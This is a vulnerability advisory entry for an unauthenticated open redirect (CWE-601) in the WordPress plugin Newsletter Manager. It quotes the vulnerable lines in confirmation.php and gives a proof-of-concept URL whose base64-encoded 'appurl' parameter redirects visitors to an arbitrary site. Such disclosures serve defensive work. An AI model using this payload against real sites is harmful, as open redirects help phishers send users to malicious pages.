Newsletter Manager - Unauthenticated Open Redirect



Description
In the file '/newsletter-manager/confirmation.php':

33: $xyz_em_url = base64_decode($_GET['appurl']);
179:  header("Location:".$xyz_em_url);
Proof of Concept
http://site.com/?wp_nlm=confirmation&appurl=aHR0cDovL3d3dy5nb29nbGUuY29t

will redirect to "http://www.google.com?result=failure"

Affects Plugin

References

URL https://wordpress.org/plugins/newsletter-manager/

Classification

Type REDIRECT
CWE CWE-601

Miscellaneous

Original Researcher posix
Submitter posix
Views 4000
Verified Yes
WPVDB ID 9281

Timeline

Publicly Published 2019-05-18 (4 months ago)
Added 2019-05-21 (4 months ago)
Last Updated 2019-06-03 (4 months ago)

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